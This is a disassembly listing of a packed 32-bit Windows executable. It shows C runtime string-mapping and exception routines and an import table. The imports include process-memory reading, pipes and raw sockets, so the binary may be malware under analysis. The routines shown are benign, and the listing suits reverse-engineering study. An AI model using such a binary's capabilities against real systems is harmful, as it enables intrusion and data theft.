push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_428D58
push dword ptr [edi]
call sub_41B650
inc eax
push eax
call sub_41D635
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_426F91
push dword ptr [edi]
push eax
call sub_41C520
pop ecx
pop ecx
loc_426F91: ; CODE XREF: sub_426F62+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_426F62 endp
; =============== S U B R O U T I N E =======================================
sub_426F9F proc near ; CODE XREF: sub_426CC8+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_428D58
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_426FDC
push dword ptr [edi+4]
call sub_41B650
inc eax
push eax
call sub_41D635
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_426FE2
push dword ptr [edi+4]
push eax
call sub_41C520
pop ecx
pop ecx
jmp short loc_426FE2
; ---------------------------------------------------------------------------
loc_426FDC: ; CODE XREF: sub_426F9F+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_426FE2: ; CODE XREF: sub_426F9F+2Ej
; sub_426F9F+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_426F9F endp
; =============== S U B R O U T I N E =======================================
sub_426FE9 proc near ; CODE XREF: sub_426B6A+16j
; .XPack0:00426F49p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_428D58
jz short locret_426FFE
push dword ptr [ecx+4]
call sub_41D2EF
pop ecx
locret_426FFE: ; CODE XREF: sub_426FE9+Aj
retn
sub_426FE9 endp
; ---------------------------------------------------------------------------
mov eax, [ecx+4]
test eax, eax
jnz short locret_42700B
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_42700B: ; CODE XREF: .XPack0:00427004j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42700C proc near ; CODE XREF: sub_426C23+37p
; sub_426D4A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_428D78
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_42805C ; RaiseException
pop edi
pop esi
leave
retn 8
sub_42700C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427046 proc near ; CODE XREF: sub_426E95+56p
; sub_426E95+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_427058
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_427058: ; CODE XREF: sub_427046+Bj
cmp dword_4DE684, 0
jnz short loc_427072
cmp ax, 41h
jb short locret_4270B9
cmp ax, 5Ah
ja short locret_4270B9
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_427072: ; CODE XREF: sub_427046+19j
cmp ax, 100h
jnb short loc_42708C
push 1
push eax
call sub_4272F4
pop ecx
test eax, eax
pop ecx
jnz short loc_42708C
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_42708C: ; CODE XREF: sub_427046+30j
; sub_427046+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DE684
call sub_4270BB
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_4270B9
mov ax, [ebp+var_2]
locret_4270B9: ; CODE XREF: sub_427046+1Fj
; sub_427046+25j ...
leave
retn
sub_427046 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4270BB proc near ; CODE XREF: sub_427046+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428D98
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DE8DC, esi
jnz short loc_427131
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_428928
mov edi, 100h
push edi
push esi
call dword_428050 ; LCMapStringW
test eax, eax
jz short loc_42710F
mov dword_4DE8DC, ebx
jmp short loc_427131
; ---------------------------------------------------------------------------
loc_42710F: ; CODE XREF: sub_4270BB+4Aj
push esi
push esi
push ebx
push offset dword_4CE1C0
push edi
push esi
call dword_428054 ; LCMapStringA
test eax, eax
jz loc_4272B0
mov dword_4DE8DC, 2
loc_427131: ; CODE XREF: sub_4270BB+2Ej
; sub_4270BB+52j
cmp [ebp+arg_C], esi
jle short loc_427146
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4272C4
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_427146: ; CODE XREF: sub_4270BB+79j
mov eax, dword_4DE8DC
cmp eax, 1
jnz short loc_42716D
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428050 ; LCMapStringW
jmp loc_4272B2
; ---------------------------------------------------------------------------
loc_42716D: ; CODE XREF: sub_4270BB+93j
cmp eax, 2
jnz loc_4272B0
cmp [ebp+arg_18], esi
jnz short loc_427183
mov eax, dword_4DE694
mov [ebp+arg_18], eax
loc_427183: ; CODE XREF: sub_4270BB+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call dword_42818C ; WideCharToMultiByte
mov [ebp+var_20], eax
cmp eax, esi
jz loc_4272B0
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41C190
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_4271C9
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_4271C9: ; CODE XREF: sub_4270BB+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_4272B0
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call dword_42818C ; WideCharToMultiByte
test eax, eax
jz loc_4272B0
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428054 ; LCMapStringA
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_4272B0
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41C190
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42724C
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_42724C: ; CODE XREF: sub_4270BB+17Dj
cmp ebx, esi
jz short loc_4272B0
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428054 ; LCMapStringA
test eax, eax
jz short loc_4272B0
test byte ptr [ebp+arg_4+1], 4
jz short loc_42728A
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_4272AC
cmp eax, edi
jl short loc_42727B
mov eax, edi
loc_42727B: ; CODE XREF: sub_4270BB+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41BC60
add esp, 0Ch
jmp short loc_4272AC
; ---------------------------------------------------------------------------
loc_42728A: ; CODE XREF: sub_4270BB+1B1j
cmp [ebp+arg_14], esi
jnz short loc_427293
push esi
push esi
jmp short loc_427299
; ---------------------------------------------------------------------------
loc_427293: ; CODE XREF: sub_4270BB+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_427299: ; CODE XREF: sub_4270BB+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call dword_4280E8 ; MultiByteToWideChar
mov edi, eax
cmp edi, esi
jz short loc_4272B0
loc_4272AC: ; CODE XREF: sub_4270BB+1B8j
; sub_4270BB+1CDj
mov eax, edi
jmp short loc_4272B2
; ---------------------------------------------------------------------------
loc_4272B0: ; CODE XREF: sub_4270BB+66j
; sub_4270BB+B5j ...
xor eax, eax
loc_4272B2: ; CODE XREF: sub_4270BB+ADj
; sub_4270BB+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4270BB endp
; =============== S U B R O U T I N E =======================================
sub_4272C4 proc near ; CODE XREF: sub_4270BB+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4272E3
loc_4272D4: ; CODE XREF: sub_4272C4+1Dj
cmp word ptr [eax], 0
jz short loc_4272E3
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_4272D4
loc_4272E3: ; CODE XREF: sub_4272C4+Ej
; sub_4272C4+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_4272F1
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_4272F1: ; CODE XREF: sub_4272C4+24j
mov eax, edx
retn
sub_4272C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4272F4 proc near ; CODE XREF: sub_427046+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_427334
cmp [ebp+arg_0], 100h
jnb short loc_427318
movzx eax, [ebp+arg_0]
mov ecx, off_43F61C
mov ax, [ecx+eax*2]
jmp short loc_42733B
; ---------------------------------------------------------------------------
loc_427318: ; CODE XREF: sub_4272F4+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_427346
add esp, 18h
test eax, eax
jnz short loc_427338
loc_427334: ; CODE XREF: sub_4272F4+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_427338: ; CODE XREF: sub_4272F4+3Ej
mov eax, [ebp+var_4]
loc_42733B: ; CODE XREF: sub_4272F4+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_4272F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427346 proc near ; CODE XREF: sub_4272F4+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428DB0
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DE8E0
xor edi, edi
cmp eax, edi
jnz short loc_4273B5
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_428928
push esi
call dword_428020 ; GetStringTypeW
test eax, eax
jz short loc_427393
mov eax, esi
jmp short loc_4273B0
; ---------------------------------------------------------------------------
loc_427393: ; CODE XREF: sub_427346+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CE1C0
push esi
push edi
call dword_428024 ; GetStringTypeA
test eax, eax
jz loc_4274F7
push 2
pop eax
loc_4273B0: ; CODE XREF: sub_427346+4Bj
mov dword_4DE8E0, eax
loc_4273B5: ; CODE XREF: sub_427346+2Fj
cmp eax, 1
jnz short loc_4273D1
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428020 ; GetStringTypeW
jmp loc_4274F9
; ---------------------------------------------------------------------------
loc_4273D1: ; CODE XREF: sub_427346+72j
cmp eax, 2
jnz loc_4274F7
cmp [ebp+arg_10], edi
jnz short loc_4273E7
mov eax, dword_4DE694
mov [ebp+arg_10], eax
loc_4273E7: ; CODE XREF: sub_427346+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call dword_42818C ; WideCharToMultiByte
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_4274F7
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41C190
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41BC00
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_427445
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_427445: ; CODE XREF: sub_427346+EAj
cmp [ebp+var_2C], edi
jz loc_4274F7
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call dword_42818C ; WideCharToMultiByte
test eax, eax
jz loc_4274F7
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41C190
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_42749A
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_42749A: ; CODE XREF: sub_427346+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_4274F7
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_4274AE
mov eax, dword_4DE684
loc_4274AE: ; CODE XREF: sub_427346+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call dword_428024 ; GetStringTypeA
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_4274F7
cmp word ptr [esi], 0FFFFh
jnz short loc_4274F7
push edi
push ebx
push [ebp+arg_C]
call sub_41D300
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_4274F9
; ---------------------------------------------------------------------------
loc_4274F7: ; CODE XREF: sub_427346+61j
; sub_427346+8Ej ...
xor eax, eax
loc_4274F9: ; CODE XREF: sub_427346+86j
; sub_427346+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_427346 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_42750C proc near ; DATA XREF: .XPack0:00428F40o
; FUNCTION CHUNK AT 0040D666 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D666
sub_42750C endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_42752A
mov ecx, [ebp+8]
jmp loc_40D666
; ---------------------------------------------------------------------------
locret_42752A: ; CODE XREF: .XPack0:0042751Cj
retn
; ---------------------------------------------------------------------------
loc_42752B: ; DATA XREF: sub_40D241o
mov eax, offset dword_428F44
jmp loc_41CF8B
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D666
; ---------------------------------------------------------------------------
loc_427540: ; DATA XREF: .XPack0:00428F6Co
lea ecx, [ebp-1Ch]
jmp loc_40D666
; ---------------------------------------------------------------------------
loc_427548: ; DATA XREF: sub_40D3E0o
mov eax, offset dword_428F70
jmp loc_41CF8B
; ---------------------------------------------------------------------------
align 4
loc_427554: ; DATA XREF: sub_40D947o
mov eax, offset dword_428FC0
jmp loc_41CF8B
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426FE9
; ---------------------------------------------------------------------------
loc_427566: ; DATA XREF: sub_426BAEo
mov eax, offset dword_428FE4
jmp loc_41CF8B
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D666
; ---------------------------------------------------------------------------
loc_427578: ; DATA XREF: sub_426C23o
mov eax, offset dword_42907C
jmp loc_41CF8B
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426FE9
; ---------------------------------------------------------------------------
loc_42758A: ; DATA XREF: sub_426C80o
mov eax, offset dword_4290A0
jmp loc_41CF8B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_426FE9
; ---------------------------------------------------------------------------
loc_42759C: ; DATA XREF: sub_426CC8o
mov eax, offset dword_4290C4
jmp loc_41CF8B
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D666
; ---------------------------------------------------------------------------
loc_4275AE: ; DATA XREF: sub_426D4Ao
mov eax, offset dword_429124
jmp loc_41CF8B
; ---------------------------------------------------------------------------
dd 292h dup(0)
dword_428000 dd 7C80E866h ; resolved to->KERNEL32.FileTimeToLocalFileTime ; sub_417805+123r ...
dword_428004 dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_428008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_4265D3+261r
dword_42800C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_4265D3+B9r
dword_428010 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_428014 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_428018 dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_42801C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_424E33+6r
dword_428020 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_4243B4+12Dr ...
dword_428024 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_4243B4+8Dr ...
dword_428028 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_42802C dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_423EF0:loc_423F43r
dword_428030 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_4239CD+166r ...
dword_428034 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_423C91+143r
dword_428038 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_42803C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_428040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_42389B+E1r
dword_428044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_428048 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsAdword_42804C dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_428050 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_42316A+14Dr ...
dword_428054 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_42316A+A7r ...
dword_428058 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_42805C dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_42700C+2Er
dword_428060 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_428064 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_428068 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_420788+14r ...
dword_42806C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_40121E+7Ar ...
dword_428070 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40121E+2C9r ...
dword_428074 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_40121E+2B1r ...
dword_428078 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40121E+DAr ...
dword_42807C dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_40121E+C4r ...
dword_428080 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40121E+1DEr ...
dword_428084 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_401AA1+774r ...
dword_428088 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_401AA1+7646r ...
dword_42808C dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_417805+15r ...
dword_428090 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_428094 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_40121E+3D1r ...
dword_428098 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_42809C dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_40121E+20Fr ...
dword_4280A0 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_410370+10Fr ...
dword_4280A4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_4097DE+2r ...
dword_4280A8 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_40121E+2FFr ...
dword_4280AC dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4280B0 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401AA1+24FEr ...
dword_4280B4 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_40B38F+27r ...
dword_4280B8 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_4189E4+35r
dword_4280BC dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileAdword_4280C0 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_4097DE:loc_409CECr ...
dword_4280C4 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_4174AA+60r ...
dword_4280C8 dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameA ; sub_419C11+34r
dword_4280CC dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; .XPack0:0040AF63r
dword_4280D0 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; .XPack0:0040ADAFr ...
dword_4280D4 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_40B9E3+1ACr ...
dword_4280D8 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4280DC dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4280E0 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4280E4 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40C485+241r
dword_4280E8 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_40DB39+65r ...
dword_4280EC dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40EA40+19Cr ...
dword_4280F0 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_40E952+94r ...
dword_4280F4 dd 7C8312E5h ; resolved to->KERNEL32.TransactNamedPipedword_4280F8 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40EA40+A4r ...
dword_4280FC dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_428100 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_411968+119r ...
dword_428104 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandle ; sub_411BB6+77r ...
dword_428108 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_40F219+10Ar ...
dword_42810C dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_411ABD+23r ...
dword_428110 dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatA ; sub_41B0A1+1B6r
dword_428114 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatA ; sub_41B0A1+19Fr
dword_428118 dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_410CA0+38r ...
dword_42811C dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_417358+C0r ...
dword_428120 dd 7C80E7ECh ; resolved to->KERNEL32.FileTimeToSystemTime ; sub_417805+135r
dword_428124 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_41061F+5DCr ...
dword_428128 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_417358+26r
dword_42812C dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_4163CE+259r ...
dword_428130 dd 7C81B58Bh ; resolved to->KERNEL32.SetConsoleCtrlHandlerdword_428134 dd 7C80A05Dh ; resolved to->KERNEL32.WaitForMultipleObjectsdword_428138 dd 7C873A31h ; resolved to->KERNEL32.GenerateConsoleCtrlEventdword_42813C dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4138D3+2D4r ...
dword_428140 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_414628+FFr
dword_428144 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_41D71B+Dr
dword_428148 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_418C2F+C3r
dword_42814C dd 7C80F0F4h ; resolved to->KERNEL32.GetEnvironmentVariableWdword_428150 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_41767C+F5r ...
dword_428154 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_417805+4Ar ...
dword_428158 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; sub_417805+40r ...
dword_42815C dd 7C80B9A0h ; resolved to->KERNEL32.VirtualQueryEx ; sub_4179A9+53r
dword_428160 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; sub_4179A9+95r
dword_428164 dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfo ; sub_4179A9+2Cr
dword_428168 dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_42816C dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_428170 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLockdword_428174 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_428178 dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_42817C dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_428180 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_428184 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_428188 dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_42818C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_42316A+20Dr ...
dword_428190 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_428194 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_428198 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_42819C dd 7C830B14h ; resolved to->KERNEL32.GetLogicalDrivesdword_4281A0 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_4281A4 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41B872+22Dr ...
dword_4281A8 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4281AC dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; sub_424EBC+38r
dword_4281B0 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_4281B4 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_4239CD+59r
dword_4281B8 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_4281BC dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4281C0 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_4281C4 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_4281C8 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_4281CC dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_41F016+120r ...
dword_4281D0 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41EC25+51r ...
dword_4281D4 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtr dd 0
dword_4281DC dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; .XPack0:0042916Co
dword_4281E0 dd 71AB46C9h ; resolved to->WS2_32.getsockoptdword_4281E4 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_413444+1F0r
dword_4281E8 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoadword_4281EC dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_40FD24+8Er
